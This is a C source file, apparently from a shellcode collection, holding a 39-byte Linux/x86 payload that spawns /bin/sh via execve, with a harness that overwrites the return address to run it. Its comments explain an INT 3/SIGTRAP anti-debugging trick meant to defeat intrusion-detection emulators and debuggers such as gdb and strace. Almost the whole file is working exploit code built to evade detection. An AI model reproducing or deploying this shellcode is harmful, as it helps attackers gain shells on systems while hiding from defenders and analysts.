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shellcode-230.c
executable file
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shellcode-230.c
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/*
* (linux/x86) anti-debug trick (INT 3h trap) + execve("/bin/sh", ["/bin/sh", NULL], NULL) - 39 bytes
*
* The idea behind a shellcode w/ an anti-debugging trick embedded in it, is if for any reason the IDS
* would try to x86-emulate the shellcode it would *glitch* and fail. This also protectes the shellcode
* from running within a debugger environment such as gdb and strace.
*
* How this works? the shellcode registers for the SIGTRAP signal (aka. Breakpoint Interrupt) and use it
* to call the acutal payload (e.g. _evil_code) while a greedy debugger or a confused x86-emu won't pass
* the signal handler to the shellcode, it would end up doing _exit() instead execuve()
*
* - izik <[email protected]>
*/
char shellcode[] =
"\x6a\x30" // push $0x30
"\x58" // pop %eax
"\x6a\x05" // push $0x5
"\x5b" // pop %ebx
"\xeb\x05" // jmp <_evil_code>
//
// <_evilcode_loc>:
//
"\x59" // pop %ecx
"\xcd\x80" // int $0x80
"\xcc" // int3
"\x40" // inc %eax
"\xe8\xf6\xff\xff\xff" // call <_evilcode_loc>
"\x99" // cltd
//
// <_evil_code>:
//
"\xb0\x0b" // mov $0xb,%al
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x54" // push %esp
"\xeb\xe1"; // jmp <_evilcode_loc>
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}